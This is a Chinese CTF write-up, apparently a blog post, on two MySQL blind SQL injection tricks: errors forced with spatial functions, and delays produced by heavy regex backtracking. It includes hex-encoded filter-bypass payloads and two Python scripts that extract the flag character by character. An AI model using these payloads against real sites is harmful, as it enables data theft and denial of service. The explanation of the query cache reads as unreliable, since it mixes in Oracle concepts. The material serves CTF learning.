两种CTF中特殊盲注的总结

前言Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。本文涉及知识点实操练习:MySQL盲注 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。)SQL盲注基本知识常用基本函数IF(expr1,expr2,expr3)若expr1为true,则返回expr2,为false则返回expr3SELECT IF(TRUE, 'A','B') -- 输出结果:ASELECT IF(FALSE,'A','B') -- 输出结果:BASCII(str)返回字符串str最左面字符的ASCII值SELECT ASCII("flag") -- 输出结果:102ORD(str)返回字符串str第一个字符的ASCII值SELECT ORD("flag") -- 输出结果:102CHAR(int)将ASCII码值int转换成字符SELECT CHAR(65) -- 输出结果:AMID(str,pos,len)从pos位置开始,截取字符串str共len个长度的字符SELECT MID("Hello World", 3, 5) -- 输出结果:llo W与SUBSTR(str,pos,len) 效果相同LEFT(str,len)返回字符串str左边部分共len个字符SELECT LEFT("flag", 2) -- 输出结果:flSLEEP(duration)duration是休眠的时长,以秒为单位,也可以是小数SELECT SLEEP(3)# [SQL] SELECT SLEEP(3)# 受影响的行: 0# 时间: 3.005msREGEXP正则表达式,用来匹配文本的特殊的串(字符集合)SELECT "FLAG" REGEXP "LA"   -- 输出结果:1SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0其它LENGTH(str) -- 返回字符串str的长度DATABASE() -- 返回当前数据库名VERSION()   -- 返回当前MySQL版本布尔盲注根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2据此可知数据库名的长度为4时间盲注通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应据此可知数据库名的第一个字符为c以下2道题目:flag在flag表的flag字段在本地搭建靶机,用post传参,变量keywords接收

基于运行错误的布尔盲注基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即:SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )-- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即:SELECT ST_X(POINT(2,3)) -- 输出结果:2但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.P.s.ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。其他可用的函数:SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);SELECT IF({}, ST_X(MADS), 0);SELECT IF({}, ST_MPointFromText('MADS'),0);SELECT IF({}, ST_GeomFromText('MADS'),0);如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT当输入1、2、3等数字时,页面返回Hello World

而当输入被过滤的关键字时,网页返回No Hacker

由此可以测试一些被过滤的关键字有:'、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。用if来进行盲注,'被过滤了,用十六进制绕过。if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。构造payload:if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是fif(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))而第二个字符是char(108),也就是字符l用python写个脚本import requestsdef fun(string):result = ""j = 1for i in string:if j != len(string):result = result + str(ord(i)) + ","else:result = result + str(ord(i))j += 1return "char(" + result + ")"url = "http://sqlblind.com/index.php"tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"flag = ""for i in range(1, 50):for j in tables:if j == "{" or j == "}":j = "\\" + jpayload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (i, fun(flag+j))r = requests.post(url=url, data={'keywords': payload})if "Hello World" in r.text:flag = flag + jprint(flag.replace("\\", ""))break

基于巨大运算时间的时间盲注由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。在此之前先了解几个函数rpad(str,len,padstr)对字符串str进行右填充,用padstr填充至str长度为len个字符SELECT RPAD('hi', 5, '?') -- 输出结果:hi???concat(str1,str2,...)连接多个字符串为一个字符串SELECT CONCAT('he', 'll', 'o') -- 输出结果:hellorepeat(str,count)返回字符串str重复count次后的字符串SELECT REPEAT('ab', '3') -- 输出结果:ababab构造payload:1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)也就是说如果flag的第一个字符为f的话,则会执行下面这句语句:rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。这样做的话服务器可能会崩由于题目过滤了',所以用十六进制代替1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)以下两种图片用get传参测试时间延迟效果猜中flag的第一个字符时:

而如果猜第一个字符为0x01,则为false,if返回0

所以我们可以通过大量的运算时间做延迟,进行时间盲注。但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1脚本来自Gqleung(http://www.plasf.cn)import requestsdef ord2hex(string):result = ""for i in string:r = hex(ord(i))r = r.replace('0x', '')result = result+rreturn '0x'+resulturl = "http://sqlblind.com/index.php"tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"result = ""for i in range(1, 50):for j in tables:if j == "{" or j == "}":j = '\\'+jpayload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (ord2hex("^"+result+j), 5000000-i)try:r = requests.post(url=url, data={'keywords': payload}, timeout=3)except Exception as e:result = result+jprint(result.replace('\\', ''))timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出

(0)

相关推荐

  • JAVA和JS字符串每4个字符添加空格

    一.JS实现方法 '701f3orma43tN5umb6er044567'.replace(/\s/g, '').replace(/(\w{4})(?=\w)/g, '$1 ') 结果: 701f 3 ...

  • 习惯(惯性)在两种运动中对我几十天的不同影响

    一 2018年的我的第一次跑步(不到3公里)是在前天--距离上次跑步,也就是在2017.12.30那天,已经快两个月了,而且,距离下一个全马的时间,2018.03.25,还有不到一个月的时间.这无疑是 ...

  • 篆刻的基本刀法不是两种,论篆刻中的摆刀,陈国成文

    "古来印说浩卷繁帙,皆以论刀法为畏途,为迷途,或不言其详,或玄乎其说,或因袭旧文,或视为末技,或凭空自造大言,以其昏昏,使人昭昭."(天衡语)篆刻家对刀法的重视是肯定的,然刀法研究 ...

  • 这两种常见谷物,是《本草纲目》中的经典消食药

    原创 冯建春 等 悦读中医 2月16日 小编导读 这个春节假期你都吃到哪些美食了呢?美味虽好,有时一旦控制不住却可能吃得太多,引起积食,出现腹胀.食欲不振等表现.今天小编将与大家分享两味<本草纲 ...

  • 呼吸的两种模式和瑜伽练习中的应用

    在瑜伽练习中我们都非常注重呼吸:老师都会提醒我们把意识带到呼吸,让呼吸来引导身体的运动.这的确非常重要,应该说是瑜伽体位法的一个重要的基础就是找到运动和呼吸相互交织的规律 (戳这里读专题文章) 我最喜 ...

  • 两种治疗血管性头痛中药名方

    血管性头痛的最主要症状是由于高血压或者是发烧等原因引来的,需要有留意仔细检查血压,通过血液的仔细检查以及血压的测定来确认什么原因.最近不少人咨询治疗血管性头痛的药方,小编今天给大家分享两种治疗血管性头 ...

  • 一流的高手,能够在脑海中存在两种相反的观点

    △ 是新朋友吗?记得先点笔记侠关注我哦- 内容来源:2021年4月17日,中国人民大学商学院EMBA<智行中国高峰论坛>第五站--走进深圳,分享·洞悉·变革. 分享嘉宾:黄卫伟,华为首席管 ...

  • 一流的高手,能够在脑海中存在两种相反的观点(战略思维)

    △ 是新朋友吗?记得先点笔记侠关注我哦- 内容来源:2021年4月17日,中国人民大学商学院EMBA<智行中国高峰论坛>第五站--走进深圳,分享·洞悉·变革. 分享嘉宾:黄卫伟,华为首席管 ...

  • colab中切换路径的两种方式

    表白:黑白圣堂血天使,天剑鬼刀阿修罗.  讲解对象:/colab中切换路径的两种方式 作者:融水公子 rsgz Colab教程 Colab教程 http://www.rsgz.top/post/410 ...

  • 托尔斯泰:生活中只有两种不幸

    选自托尔斯泰<生活之路> 王志耕 译 商务印书馆 2015 1. 真信仰与伪信仰之间的区别在于,持伪信仰的人希望的是:因为他的祭礼和祈祷,上帝要让他得到满足.而持真信仰的人的希望仅仅是一点 ...